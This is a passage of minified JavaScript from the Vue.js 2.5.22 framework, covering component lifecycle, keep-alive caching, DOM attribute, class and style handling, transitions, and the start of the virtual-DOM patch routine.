t=e.$parent;!t||t._isBeingDestroyed||e.$options.abstract||_(t.$children,e),e._watcher&&e._watcher.teardown();for(var i=e._watchers.length;i--;)e._watchers[i].teardown();e._data.__ob__&&e._data.__ob__.vmCount--,e._isDestroyed=!0,e.__patch__(e._vnode,null),Xt(e,"destroyed"),e.$off(),e.$el&&(e.$el.__vue__=null),e.$vnode&&(e.$vnode.parent=null)}}}(Ui),function(t){Di(t.prototype),t.prototype.$nextTick=function(e){return pt(e,this)},t.prototype._render=function(){var t,i=this,n=i.$options,r=n.render,s=n._parentVnode;s&&(i.$scopedSlots=s.data.scopedSlots||e),i.$vnode=s;try{t=r.call(i._renderProxy,i.$createElement)}catch(e){if(Qe(e,i,"render"),i.$options.renderError)try{t=i.$options.renderError.call(i._renderProxy,i.$createElement,e)}catch(e){Qe(e,i,"renderError"),t=i._vnode}else t=i._vnode}return t instanceof ye||(Array.isArray(t)&&le("Multiple root nodes returned from render function. Render function should return a single root node.",i),t=we()),t.parent=s,t}}(Ui);var Gi=[String,RegExp,Array],Ki={KeepAlive:{name:"keep-alive",abstract:!0,props:{include:Gi,exclude:Gi,max:[String,Number]},created:function(){this.cache=Object.create(null),this.keys=[]},destroyed:function(){for(var e in this.cache)Ji(this.cache,e,this.keys)},mounted:function(){var e=this;this.$watch("include",(function(t){Vi(e,(function(e){return qi(t,e)}))})),this.$watch("exclude",(function(t){Vi(e,(function(e){return!qi(t,e)}))}))},render:function(){var e=this.$slots.default,t=jt(e),i=t&&t.componentOptions;if(i){var n=zi(i),r=this.include,s=this.exclude;if(r&&(!n||!qi(r,n))||s&&n&&qi(s,n))return t;var a=this.cache,o=this.keys,l=null==t.key?i.Ctor.cid+(i.tag?"::"+i.tag:""):t.key;a[l]?(t.componentInstance=a[l].componentInstance,_(o,l),o.push(l)):(a[l]=t,o.push(l),this.max&&o.length>parseInt(this.max)&&Ji(a,o[0],o,this._vnode)),t.data.keepAlive=!0}return t||e&&e[0]}}};(function(e){var t={get:function(){return R},set:function(){le("Do not replace the Vue.config object, set individual fields instead.")}};Object.defineProperty(e,"config",t),e.util={warn:le,extend:C,mergeOptions:Ue,defineReactive:Pe},e.set=Ae,e.delete=Ie,e.nextTick=pt,e.options=Object.create(null),j.forEach((function(t){e.options[t+"s"]=Object.create(null)})),e.options._base=e,C(e.options.components,Ki),function(e){e.use=function(e){var t=this._installedPlugins||(this._installedPlugins=[]);if(t.indexOf(e)>-1)return this;var i=L(arguments,1);return i.unshift(this),"function"==typeof e.install?e.install.apply(e,i):"function"==typeof e&&e.apply(null,i),t.push(e),this}}(e),function(e){e.mixin=function(e){return this.options=Ue(this.options,e),this}}(e),function Wi(e){e.cid=0;var t=1;e.extend=function(e){e=e||{};var i=this,n=i.cid,r=e._Ctor||(e._Ctor={});if(r[n])return r[n];var s=e.name||i.options.name;s&&Fe(s);var a=function(e){this._init(e)};return(a.prototype=Object.create(i.prototype)).constructor=a,a.cid=t++,a.options=Ue(i.options,e),a.super=i,a.options.props&&function(e){var t=e.options.props;for(var i in t)ci(e.prototype,"_props",i)}(a),a.options.computed&&function(e){var t=e.options.computed;for(var i in t)pi(e.prototype,i,t[i])}(a),a.extend=i.extend,a.mixin=i.mixin,a.use=i.use,j.forEach((function(e){a[e]=i[e]})),s&&(a.options.components[s]=a),a.superOptions=i.options,a.extendOptions=e,a.sealedOptions=C({},a.options),r[n]=a,a}}(e),function(e){j.forEach((function(t){e[t]=function(e,i){return i?("component"===t&&Fe(e),"component"===t&&u(i)&&(i.name=i.name||e,i=this.options._base.extend(i)),"directive"===t&&"function"==typeof i&&(i={bind:i,update:i}),this.options[t+"s"][e]=i,i):this.options[t+"s"][e]}}))}(e)})(Ui),Object.defineProperty(Ui.prototype,"$isServer",{get:ne}),Object.defineProperty(Ui.prototype,"$ssrContext",{get:function(){return this.$vnode&&this.$vnode.ssrContext}}),Object.defineProperty(Ui,"FunctionalRenderContext",{value:Ei}),Ui.version="2.5.22";var Xi=f("style,class"),Zi=f("input,textarea,option,select,progress"),Qi=function(e,t,i){return"value"===i&&Zi(e)&&"button"!==t||"selected"===i&&"option"===e||"checked"===i&&"input"===e||"muted"===i&&"video"===e},en=f("contenteditable,draggable,spellcheck"),tn=f("allowfullscreen,async,autofocus,autoplay,checked,compact,controls,declare,default,defaultchecked,defaultmuted,defaultselected,defer,disabled,enabled,formnovalidate,hidden,indeterminate,inert,ismap,itemscope,loop,multiple,muted,nohref,noresize,noshade,novalidate,nowrap,open,pauseonexit,readonly,required,reversed,scoped,seamless,selected,sortable,translate,truespeed,typemustmatch,visible"),nn="http://www.w3.org/1999/xlink",rn=function(e){return":"===e.charAt(5)&&"xlink"===e.slice(0,5)},sn=function(e){return rn(e)?e.slice(6,e.length):""},an=function(e){return null==e||!1===e};function ln(e,t){return{staticClass:un(e.staticClass,t.staticClass),class:n(e.class)?[e.class,t.class]:t.class}}function un(e,t){return e?t?e+" "+t:e:t||""}function cn(e){return Array.isArray(e)?function(e){for(var t,i="",r=0,s=e.length;r<s;r++)n(t=cn(e[r]))&&""!==t&&(i&&(i+=" "),i+=t);return i}(e):a(e)?function(e){var t="";for(var i in e)e[i]&&(t&&(t+=" "),t+=i);return t}(e):"string"==typeof e?e:""}var dn={svg:"http://www.w3.org/2000/svg",math:"http://www.w3.org/1998/Math/MathML"},hn=f("html,body,base,head,link,meta,style,title,address,article,aside,footer,header,h1,h2,h3,h4,h5,h6,hgroup,nav,section,div,dd,dl,dt,figcaption,figure,picture,hr,img,li,main,ol,p,pre,ul,a,b,abbr,bdi,bdo,br,cite,code,data,dfn,em,i,kbd,mark,q,rp,rt,rtc,ruby,s,samp,small,span,strong,sub,sup,time,u,var,wbr,area,audio,map,track,video,embed,object,param,source,canvas,script,noscript,del,ins,caption,col,colgroup,table,thead,tbody,td,th,tr,button,datalist,fieldset,form,input,label,legend,meter,optgroup,option,output,progress,select,textarea,details,dialog,menu,menuitem,summary,content,element,shadow,template,blockquote,iframe,tfoot"),pn=f("svg,animate,circle,clippath,cursor,defs,desc,ellipse,filter,font-face,foreignObject,g,glyph,image,line,marker,mask,missing-glyph,path,pattern,polygon,polyline,rect,switch,symbol,text,textpath,tspan,use,view",!0),fn=function(e){return hn(e)||pn(e)};function mn(e){return pn(e)?"svg":"math"===e?"math":void 0}var gn=Object.create(null),_n=f("text,number,password,search,email,tel,url");function vn(e){return"string"==typeof e?document.querySelector(e)||(le("Cannot find element: "+e),document.createElement("div")):e}var yn=Object.freeze({createElement:function(e,t){var i=document.createElement(e);return"select"!==e||t.data&&t.data.attrs&&void 0!==t.data.attrs.multiple&&i.setAttribute("multiple","multiple"),i},createElementNS:function(e,t){return document.createElementNS(dn[e],t)},createTextNode:function(e){return document.createTextNode(e)},createComment:function(e){return document.createComment(e)},insertBefore:function(e,t,i){e.insertBefore(t,i)},removeChild:function(e,t){e.removeChild(t)},appendChild:function(e,t){e.appendChild(t)},parentNode:function(e){return e.parentNode},nextSibling:function(e){return e.nextSibling},tagName:function(e){return e.tagName},setTextContent:function(e,t){e.textContent=t},setStyleScope:function(e,t){e.setAttribute(t,"")}}),bn={create:function(e,t){wn(t)},update:function(e,t){e.data.ref!==t.data.ref&&(wn(e,!0),wn(t))},destroy:function(e){wn(e,!0)}};function wn(e,t){var i=e.data.ref;if(n(i)){var r=e.context,s=e.componentInstance||e.elm,a=r.$refs;t?Array.isArray(a[i])?_(a[i],s):a[i]===s&&(a[i]=void 0):e.data.refInFor?Array.isArray(a[i])?a[i].indexOf(s)<0&&a[i].push(s):a[i]=[s]:a[i]=s}}var Tn=new ye("",{},[]),kn=["create","activate","update","remove","destroy"];function Sn(e,i){return e.key===i.key&&(e.tag===i.tag&&e.isComment===i.isComment&&n(e.data)===n(i.data)&&function(e,t){if("input"!==e.tag)return!0;var i,r=n(i=e.data)&&n(i=i.attrs)&&i.type,s=n(i=t.data)&&n(i=i.attrs)&&i.type;return r===s||_n(r)&&_n(s)}(e,i)||r(e.isAsyncPlaceholder)&&e.asyncFactory===i.asyncFactory&&t(i.asyncFactory.error))}function Mn(e,t,i){var r,s,a={};for(r=t;r<=i;++r)n(s=e[r].key)&&(a[s]=r);return a}var xn={create:Ln,update:Ln,destroy:function(e){Ln(e,Tn)}};function Ln(e,t){(e.data.directives||t.data.directives)&&function(e,t){var i,n,r,s=e===Tn,a=t===Tn,o=Dn(e.data.directives,e.context),l=Dn(t.data.directives,t.context),u=[],c=[];for(i in l)n=o[i],r=l[i],n?(r.oldValue=n.value,Pn(r,"update",t,e),r.def&&r.def.componentUpdated&&c.push(r)):(Pn(r,"bind",t,e),r.def&&r.def.inserted&&u.push(r));if(u.length){var d=function(){for(var i=0;i<u.length;i++)Pn(u[i],"inserted",t,e)};s?Et(t,"insert",d):d()}if(c.length&&Et(t,"postpatch",(function(){for(var i=0;i<c.length;i++)Pn(c[i],"componentUpdated",t,e)})),!s)for(i in o)l[i]||Pn(o[i],"unbind",e,e,a)}(e,t)}var Cn=Object.create(null);function Dn(e,t){var i,n,r=Object.create(null);if(!e)return r;for(i=0;i<e.length;i++)(n=e[i]).modifiers||(n.modifiers=Cn),r[En(n)]=n,n.def=We(t.$options,"directives",n.name,!0);return r}function En(e){return e.rawName||e.name+"."+Object.keys(e.modifiers||{}).join(".")}function Pn(e,t,i,n,r){var s=e.def&&e.def[t];if(s)try{s(i.elm,e,i,n,r)}catch(n){Qe(n,i.context,"directive "+e.name+" "+t+" hook")}}var An=[bn,xn];function In(e,i){var r=i.componentOptions;if(!(n(r)&&!1===r.Ctor.options.inheritAttrs||t(e.data.attrs)&&t(i.data.attrs))){var s,a,o=i.elm,l=e.data.attrs||{},u=i.data.attrs||{};for(s in n(u.__ob__)&&(u=i.data.attrs=C({},u)),u)a=u[s],l[s]!==a&&On(o,s,a);for(s in(G||X)&&u.value!==l.value&&On(o,"value",u.value),l)t(u[s])&&(rn(s)?o.removeAttributeNS(nn,sn(s)):en(s)||o.removeAttribute(s))}}function On(e,t,i){e.tagName.indexOf("-")>-1?Yn(e,t,i):tn(t)?an(i)?e.removeAttribute(t):(i="allowfullscreen"===t&&"EMBED"===e.tagName?"true":t,e.setAttribute(t,i)):en(t)?e.setAttribute(t,an(i)||"false"===i?"false":"true"):rn(t)?an(i)?e.removeAttributeNS(nn,sn(t)):e.setAttributeNS(nn,t,i):Yn(e,t,i)}function Yn(e,t,i){if(an(i))e.removeAttribute(t);else{if(G&&!K&&("TEXTAREA"===e.tagName||"INPUT"===e.tagName)&&"placeholder"===t&&!e.__ieph){var n=function(t){t.stopImmediatePropagation(),e.removeEventListener("input",n)};e.addEventListener("input",n),e.__ieph=!0}e.setAttribute(t,i)}}var $n={create:In,update:In};function jn(e,i){var r=i.elm,s=i.data,a=e.data;if(!(t(s.staticClass)&&t(s.class)&&(t(a)||t(a.staticClass)&&t(a.class)))){var o=function on(e){for(var t=e.data,i=e,r=e;n(r.componentInstance);)(r=r.componentInstance._vnode)&&r.data&&(t=ln(r.data,t));for(;n(i=i.parent);)i&&i.data&&(t=ln(t,i.data));return s=t.staticClass,a=t.class,n(s)||n(a)?un(s,cn(a)):"";var s,a}(i),l=r._transitionClasses;n(l)&&(o=un(o,cn(l))),o!==r._prevClass&&(r.setAttribute("class",o),r._prevClass=o)}}var Nn,Rn,Hn,Fn,Bn,Un,Wn,zn={create:jn,update:jn},qn=/[\w).+\-_$\]]/;function Vn(e){var t,i,n,r,s,a=!1,o=!1,l=!1,u=!1,c=0,d=0,h=0,p=0;for(n=0;n<e.length;n++)if(i=t,t=e.charCodeAt(n),a)39===t&&92!==i&&(a=!1);else if(o)34===t&&92!==i&&(o=!1);else if(l)96===t&&92!==i&&(l=!1);else if(u)47===t&&92!==i&&(u=!1);else if(124!==t||124===e.charCodeAt(n+1)||124===e.charCodeAt(n-1)||c||d||h){switch(t){case 34:o=!0;break;case 39:a=!0;break;case 96:l=!0;break;case 40:h++;break;case 41:h--;break;case 91:d++;break;case 93:d--;break;case 123:c++;break;case 125:c--}if(47===t){for(var f=n-1,m=void 0;f>=0&&" "===(m=e.charAt(f));f--);m&&qn.test(m)||(u=!0)}}else void 0===r?(p=n+1,r=e.slice(0,n).trim()):g();function g(){(s||(s=[])).push(e.slice(p,n).trim()),p=n+1}if(void 0===r?r=e.slice(0,n).trim():0!==p&&g(),s)for(n=0;n<s.length;n++)r=Jn(r,s[n]);return r}function Jn(e,t){var i=t.indexOf("(");if(i<0)return'_f("'+t+'")('+e+")";var n=t.slice(0,i),r=t.slice(i+1);return'_f("'+n+'")('+e+(")"!==r?","+r:r)}function Gn(e){console.error("[Vue compiler]: "+e)}function Kn(e,t){return e?e.map((function(e){return e[t]})).filter((function(e){return e})):[]}function Xn(e,t,i){(e.props||(e.props=[])).push({name:t,value:i}),e.plain=!1}function Zn(e,t,i){(e.attrs||(e.attrs=[])).push({name:t,value:i}),e.plain=!1}function Qn(e,t,i){e.attrsMap[t]=i,e.attrsList.push({name:t,value:i})}function er(e,t,i,n,r,s){(e.directives||(e.directives=[])).push({name:t,rawName:i,value:n,arg:r,modifiers:s}),e.plain=!1}function tr(t,i,n,r,s,a){var o;r=r||e,a&&r.prevent&&r.passive&&a("passive and prevent can't be used together. Passive handler can't prevent default event."),"click"===i&&(r.right?(i="contextmenu",delete r.right):r.middle&&(i="mouseup")),r.capture&&(delete r.capture,i="!"+i),r.once&&(delete r.once,i="~"+i),r.passive&&(delete r.passive,i="&"+i),r.native?(delete r.native,o=t.nativeEvents||(t.nativeEvents={})):o=t.events||(t.events={});var l={value:n.trim()};r!==e&&(l.modifiers=r);var u=o[i];Array.isArray(u)?s?u.unshift(l):u.push(l):o[i]=u?s?[l,u]:[u,l]:l,t.plain=!1}function ir(e,t,i){var n=nr(e,":"+t)||nr(e,"v-bind:"+t);if(null!=n)return Vn(n);if(!1!==i){var r=nr(e,t);if(null!=r)return JSON.stringify(r)}}function nr(e,t,i){var n;if(null!=(n=e.attrsMap[t]))for(var r=e.attrsList,s=0,a=r.length;s<a;s++)if(r[s].name===t){r.splice(s,1);break}return i&&delete e.attrsMap[t],n}function rr(e,t,i){var n=i||{},r=n.number,a="$$v";n.trim&&(a="(typeof $$v === 'string'? $$v.trim(): $$v)"),r&&(a="_n("+a+")");var o=sr(t,a);e.model={value:"("+t+")",expression:JSON.stringify(t),callback:"function ($$v) {"+o+"}"}}function sr(e,t){var i=function(e){if(e=e.trim(),Nn=e.length,e.indexOf("[")<0||e.lastIndexOf("]")<Nn-1)return(Fn=e.lastIndexOf("."))>-1?{exp:e.slice(0,Fn),key:'"'+e.slice(Fn+1)+'"'}:{exp:e,key:null};for(Rn=e,Fn=Bn=Un=0;!or();)lr(Hn=ar())?cr(Hn):91===Hn&&ur(Hn);return{exp:e.slice(0,Bn),key:e.slice(Bn+1,Un)}}(e);return null===i.key?e+"="+t:"$set("+i.exp+", "+i.key+", "+t+")"}function ar(){return Rn.charCodeAt(++Fn)}function or(){return Fn>=Nn}function lr(e){return 34===e||39===e}function ur(e){var t=1;for(Bn=Fn;!or();)if(lr(e=ar()))cr(e);else if(91===e&&t++,93===e&&t--,0===t){Un=Fn;break}}function cr(e){for(var t=e;!or()&&(e=ar())!==t;);}var dr,hr="__r";function fr(e,t,i){var n=dr;return function r(){null!==t.apply(null,arguments)&&gr(e,r,i,n)}}function mr(e,t,i,n){var r;t=(r=t)._withTask||(r._withTask=function(){ut=!0;try{return r.apply(null,arguments)}finally{ut=!1}}),dr.addEventListener(e,t,te?{capture:i,passive:n}:i)}function gr(e,t,i,n){(n||dr).removeEventListener(e,t._withTask||t,i)}function _r(e,i){if(!t(e.data.on)||!t(i.data.on)){var r=i.data.on||{},s=e.data.on||{};dr=i.elm,function(e){if(n(e[hr])){var t=G?"change":"input";e[t]=[].concat(e[hr],e[t]||[]),delete e[hr]}n(e.__c)&&(e.change=[].concat(e.__c,e.change||[]),delete e.__c)}(r),Dt(r,s,mr,gr,fr,i.context),dr=void 0}}var vr={create:_r,update:_r};function yr(e,i){if(!t(e.data.domProps)||!t(i.data.domProps)){var r,s,a=i.elm,o=e.data.domProps||{},l=i.data.domProps||{};for(r in n(l.__ob__)&&(l=i.data.domProps=C({},l)),o)t(l[r])&&(a[r]="");for(r in l){if(s=l[r],"textContent"===r||"innerHTML"===r){if(i.children&&(i.children.length=0),s===o[r])continue;1===a.childNodes.length&&a.removeChild(a.childNodes[0])}if("value"===r){a._value=s;var u=t(s)?"":String(s);br(a,u)&&(a.value=u)}else a[r]=s}}}function br(e,t){return!e.composing&&("OPTION"===e.tagName||function(e,t){var i=!0;try{i=document.activeElement!==e}catch(e){}return i&&e.value!==t}(e,t)||function(e,t){var i=e.value,r=e._vModifiers;if(n(r)){if(r.lazy)return!1;if(r.number)return p(i)!==p(t);if(r.trim)return i.trim()!==t.trim()}return i!==t}(e,t))}var wr={create:yr,update:yr},Tr=b((function(e){var t={},i=/:(.+)/;return e.split(/;(?![^(]*\))/g).forEach((function(e){if(e){var n=e.split(i);n.length>1&&(t[n[0].trim()]=n[1].trim())}})),t}));function kr(e){var t=Sr(e.style);return e.staticStyle?C(e.staticStyle,t):t}function Sr(e){return Array.isArray(e)?D(e):"string"==typeof e?Tr(e):e}var Mr,xr=/^--/,Lr=/\s*!important$/,Cr=function(e,t,i){if(xr.test(t))e.style.setProperty(t,i);else if(Lr.test(i))e.style.setProperty(t,i.replace(Lr,""),"important");else{var n=Er(t);if(Array.isArray(i))for(var r=0,s=i.length;r<s;r++)e.style[n]=i[r];else e.style[n]=i}},Dr=["Webkit","Moz","ms"],Er=b((function(e){if(Mr=Mr||document.createElement("div").style,"filter"!==(e=T(e))&&e in Mr)return e;for(var t=e.charAt(0).toUpperCase()+e.slice(1),i=0;i<Dr.length;i++){var n=Dr[i]+t;if(n in Mr)return n}}));function Pr(e,i){var r=i.data,s=e.data;if(!(t(r.staticStyle)&&t(r.style)&&t(s.staticStyle)&&t(s.style))){var a,o,l=i.elm,u=s.staticStyle,c=s.normalizedStyle||s.style||{},d=u||c,h=Sr(i.data.style)||{};i.data.normalizedStyle=n(h.__ob__)?C({},h):h;var p=function(e,t){for(var i,n={},r=e;r.componentInstance;)(r=r.componentInstance._vnode)&&r.data&&(i=kr(r.data))&&C(n,i);(i=kr(e.data))&&C(n,i);for(var s=e;s=s.parent;)s.data&&(i=kr(s.data))&&C(n,i);return n}(i);for(o in d)t(p[o])&&Cr(l,o,"");for(o in p)(a=p[o])!==d[o]&&Cr(l,o,null==a?"":a)}}var Ar={create:Pr,update:Pr},Ir=/\s+/;function Or(e,t){if(t&&(t=t.trim()))if(e.classList)t.indexOf(" ")>-1?t.split(Ir).forEach((function(t){return e.classList.add(t)})):e.classList.add(t);else{var i=" "+(e.getAttribute("class")||"")+" ";i.indexOf(" "+t+" ")<0&&e.setAttribute("class",(i+t).trim())}}function Yr(e,t){if(t&&(t=t.trim()))if(e.classList)t.indexOf(" ")>-1?t.split(Ir).forEach((function(t){return e.classList.remove(t)})):e.classList.remove(t),e.classList.length||e.removeAttribute("class");else{for(var i=" "+(e.getAttribute("class")||"")+" ",n=" "+t+" ";i.indexOf(n)>=0;)i=i.replace(n," ");(i=i.trim())?e.setAttribute("class",i):e.removeAttribute("class")}}function $r(e){if(e){if("object"==typeof e){var t={};return!1!==e.css&&C(t,jr(e.name||"v")),C(t,e),t}return"string"==typeof e?jr(e):void 0}}var jr=b((function(e){return{enterClass:e+"-enter",enterToClass:e+"-enter-to",enterActiveClass:e+"-enter-active",leaveClass:e+"-leave",leaveToClass:e+"-leave-to",leaveActiveClass:e+"-leave-active"}})),Nr=z&&!K,Rr="transition",Hr="animation",Fr="transition",Br="transitionend",Ur="animation",Wr="animationend";Nr&&(void 0===window.ontransitionend&&void 0!==window.onwebkittransitionend&&(Fr="WebkitTransition",Br="webkitTransitionEnd"),void 0===window.onanimationend&&void 0!==window.onwebkitanimationend&&(Ur="WebkitAnimation",Wr="webkitAnimationEnd"));var zr=z?window.requestAnimationFrame?window.requestAnimationFrame.bind(window):setTimeout:function(e){return e()};function qr(e){zr((function(){zr(e)}))}function Vr(e,t){var i=e._transitionClasses||(e._transitionClasses=[]);i.indexOf(t)<0&&(i.push(t),Or(e,t))}function Jr(e,t){e._transitionClasses&&_(e._transitionClasses,t),Yr(e,t)}function Gr(e,t,i){var n=Xr(e,t),r=n.type,s=n.timeout,a=n.propCount;if(!r)return i();var o=r===Rr?Br:Wr,l=0,u=function(){e.removeEventListener(o,c),i()},c=function(t){t.target===e&&++l>=a&&u()};setTimeout((function(){l<a&&u()}),s+1),e.addEventListener(o,c)}var Kr=/\b(transform|all)(,|$)/;function Xr(e,t){var i,n=window.getComputedStyle(e),r=(n[Fr+"Delay"]||"").split(", "),s=(n[Fr+"Duration"]||"").split(", "),a=Zr(r,s),o=(n[Ur+"Delay"]||"").split(", "),l=(n[Ur+"Duration"]||"").split(", "),u=Zr(o,l),c=0,d=0;return t===Rr?a>0&&(i=Rr,c=a,d=s.length):t===Hr?u>0&&(i=Hr,c=u,d=l.length):d=(i=(c=Math.max(a,u))>0?a>u?Rr:Hr:null)?i===Rr?s.length:l.length:0,{type:i,timeout:c,propCount:d,hasTransform:i===Rr&&Kr.test(n[Fr+"Property"])}}function Zr(e,t){for(;e.length<t.length;)e=e.concat(e);return Math.max.apply(null,t.map((function(t,i){return Qr(t)+Qr(e[i])})))}function Qr(e){return 1e3*Number(e.slice(0,-1).replace(",","."))}function es(e,i){var r=e.elm;n(r._leaveCb)&&(r._leaveCb.cancelled=!0,r._leaveCb());var s=$r(e.data.transition);if(!t(s)&&!n(r._enterCb)&&1===r.nodeType){for(var o=s.css,l=s.type,u=s.enterClass,c=s.enterToClass,d=s.enterActiveClass,h=s.appearClass,f=s.appearToClass,m=s.appearActiveClass,g=s.beforeEnter,_=s.enter,v=s.afterEnter,y=s.enterCancelled,b=s.beforeAppear,w=s.appear,T=s.afterAppear,k=s.appearCancelled,S=s.duration,M=zt,x=zt.$vnode;x&&x.parent;)M=(x=x.parent).context;var L=!M._isMounted||!e.isRootInsert;if(!L||w||""===w){var C=L&&h?h:u,D=L&&m?m:d,E=L&&f?f:c,P=L&&b||g,A=L&&"function"==typeof w?w:_,I=L&&T||v,O=L&&k||y,$=p(a(S)?S.enter:S);null!=$&&is($,"enter",e);var j=!1!==o&&!K,N=rs(A),R=r._enterCb=Y((function(){j&&(Jr(r,E),Jr(r,D)),R.cancelled?(j&&Jr(r,C),O&&O(r)):I&&I(r),r._enterCb=null}));e.data.show||Et(e,"insert",(function(){var t=r.parentNode,i=t&&t._pending&&t._pending[e.key];i&&i.tag===e.tag&&i.elm._leaveCb&&i.elm._leaveCb(),A&&A(r,R)})),P&&P(r),j&&(Vr(r,C),Vr(r,D),qr((function(){Jr(r,C),R.cancelled||(Vr(r,E),N||(ns($)?setTimeout(R,$):Gr(r,l,R)))}))),e.data.show&&(i&&i(),A&&A(r,R)),j||N||R()}}}function ts(e,i){var r=e.elm;n(r._enterCb)&&(r._enterCb.cancelled=!0,r._enterCb());var s=$r(e.data.transition);if(t(s)||1!==r.nodeType)return i();if(!n(r._leaveCb)){var o=s.css,l=s.type,u=s.leaveClass,c=s.leaveToClass,d=s.leaveActiveClass,h=s.beforeLeave,f=s.leave,m=s.afterLeave,g=s.leaveCancelled,_=s.delayLeave,v=s.duration,y=!1!==o&&!K,b=rs(f),w=p(a(v)?v.leave:v);n(w)&&is(w,"leave",e);var T=r._leaveCb=Y((function(){r.parentNode&&r.parentNode._pending&&(r.parentNode._pending[e.key]=null),y&&(Jr(r,c),Jr(r,d)),T.cancelled?(y&&Jr(r,u),g&&g(r)):(i(),m&&m(r)),r._leaveCb=null}));_?_(k):k()}function k(){T.cancelled||(!e.data.show&&r.parentNode&&((r.parentNode._pending||(r.parentNode._pending={}))[e.key]=e),h&&h(r),y&&(Vr(r,u),Vr(r,d),qr((function(){Jr(r,u),T.cancelled||(Vr(r,c),b||(ns(w)?setTimeout(T,w):Gr(r,l,T)))}))),f&&f(r,T),y||b||T())}}function is(e,t,i){"number"!=typeof e?le("<transition> explicit "+t+" duration is not a valid number - got "+JSON.stringify(e)+".",i.context):isNaN(e)&&le("<transition> explicit "+t+" duration is NaN - the duration expression might be incorrect.",i.context)}function ns(e){return"number"==typeof e&&!isNaN(e)}function rs(e){if(t(e))return!1;var i=e.fns;return n(i)?rs(Array.isArray(i)?i[0]:i):(e._length||e.length)>1}function ss(e,t){!0!==t.data.show&&es(t)}var as=function(e){var i,a,o={},l=e.modules,u=e.nodeOps;for(i=0;i<kn.length;++i)for(o[kn[i]]=[],a=0;a<l.length;++a)n(l[a][kn[i]])&&o[kn[i]].push(l[a][kn[i]]);function d(e){var t=u.parentNode(e);n(t)&&u.removeChild(t,e)}function h(e,t){return!t&&!e.ns&&!(R.ignoredElements.length&&R.ignoredElements.some((function(t){return c(t)?t.test(e.tag):t===e.tag})))&&R.isUnknownElement(e.tag)}var p=0;function m(e,t,i,s,a,l,c){if(n(e.elm)&&n(l)&&(e=l[c]=ke(e)),e.isRootInsert=!a,!function(e,t,i,s){var a=e.data;if(n(a)){var l=n(e.componentInstance)&&a.keepAlive;if(n(a=a.hook)&&n(a=a.init)&&a(e,!1),n(e.componentInstance))return g(e,t),_(i,e.elm,s),r(l)&&function(e,t,i,r){for(var s,a=e;a.componentInstance;)if(n(s=(a=a.componentInstance._vnode).data)&&n(s=s.transition)){for(s=0;s<o.activate.length;++s)o.activate[s](Tn,a);t.push(a);break}_(i,e.elm,r)}(e,t,i,s),!0}}(e,t,i,s)){var d=e.data,f=e.children,m=e.tag;n(m)?(d&&d.pre&&p++,h(e,p)&&le("Unknown custom element: <"+m+'> - did you register the component correctly? For recursive components, make sure to provide the "name" option.',e.context),e.elm=e.ns?u.createElementNS(e.ns,m):u.createElement(m,e),w(e),v(e,f,t),n(d)&&b(e,t),_(i,e.elm,s),d&&d.pre&&p--):r(e.isComment)?(e.elm=u.createComment(e.text),_(i,e.elm,s)):(e.elm=u.createTextNode(e.text),_(i,e.elm,s))}}function g(e,t){n(e.data.pendingInsert)&&(t.push.apply(t,e.data.pendingInsert),e.data.pendingInsert=null),e.elm=e.componentInstance.$el,y(e)?(b(e,t),w(e)):(wn(e),t.push(e))}function _(e,t,i){n(e)&&(n(i)?u.parentNode(i)===e&&u.insertBefore(e,t,i):u.appendChild(e,t))}function v(e,t,i){if(Array.isArray(t)){x(t);for(var n=0;n<t.length;++n)m(t[n],i,e.elm,null,!0,t,n)}else s(e.text)&&u.appendChild(e.elm,u.createTextNode(String(e.text)))}function y(e){for(;e.componentInstance;)e=e.componentInstance._vnode;return n(e.tag)}function b(e,t){for(var r=0;r<o.create.length;++r)o.create[r](Tn,e);n(i=e.data.hook)&&(n(i.create)&&i.create(Tn,e),n(i.insert)&&t.push(e))}function w(e){var t;if(n(t=e.fnScopeId))u.setStyleScope(e.elm,t);else for(var i=e;i;)n(t=i.context)&&n(t=t.$options._scopeId)&&u.setStyleScope(e.elm,t),i=i.parent;n(t=zt)&&t!==e.context&&t!==e.fnContext&&n(t=t.$options._scopeId)&&u.setStyleScope(e.elm,t)}function T(e,t,i,n,r,s){for(;n<=r;++n)m(i[n],s,e,t,!1,i,n)}function k(e){var t,i,r=e.data;if(n(r))for(n(t=r.hook)&&n(t=t.destroy)&&t(e),t=0;t<o.destroy.length;++t)o.destroy[t](e);if(n(t=e.children))for(i=0;i<e.children.length;++i)k(e.children[i])}function S(e,t,i,r){for(;i<=r;++i){var s=t[i];n(s)&&(n(s.tag)?(M(s),k(s)):d(s.elm))}}function M(e,t){if(n(t)||n(e.data)){var i,r=o.remove.length+1;for(n(t)?t.listeners+=r:t=function(e,t){function i(){0==--i.listeners&&d(e)}return i.listeners=t,i}(e.elm,r),n(i=e.componentInstance)&&n(i=i._vnode)&&n(i.data)&&M(i,t),i=0;i<o.remove.length;++i)o.remove[i](e,t);n(i=e.data.hook)&&n(i=i.remove)?i(e,t):t()}else d(e.elm)}function x(e){for(var t={},i=0;i<e.length;i++){var r=e[i],s=r.key;n(s)&&(t[s]?le("Duplicate keys detected: '"+s+"'. This may cause an update error.",r.context):t[s]=!0)}}function L(e,t,i,r){for(var s=i;s<r;s++){var a=t[s];if(n(a)&&Sn(e,a))return s}}function C(e,i,s,a,l,c){if(e!==i){n(i.elm)&&n(a)&&(i=a[l]=ke(i));var d=i.elm=e.elm;if(r(e.isAsyncPlaceholder))n(i.asyncFactory.resolved)?A(e.elm,i,s):i.isAsyncPlaceholder=!0;else if(r(i.isStatic)&&r(e.isStatic)&&i.key===e.key&&(r(i.isCloned)||r(i.isOnce)))i.componentInstance=e.componentInstance;else{var h,p=i.data;n(p)&&n(h=p.hook)&&n(h=h.prepatch)&&h(e,i);var f=e.children,g=i.children;if(n(p)&&y(i)){for(h=0;h<o.update.length;++h)o.update[h](e,i);n(h=p.hook)&&n(h=h.update)&&h(e,i)}t(i.text)?n(f)&&n(g)?f!==g&&function(e,i,r,s,a){var 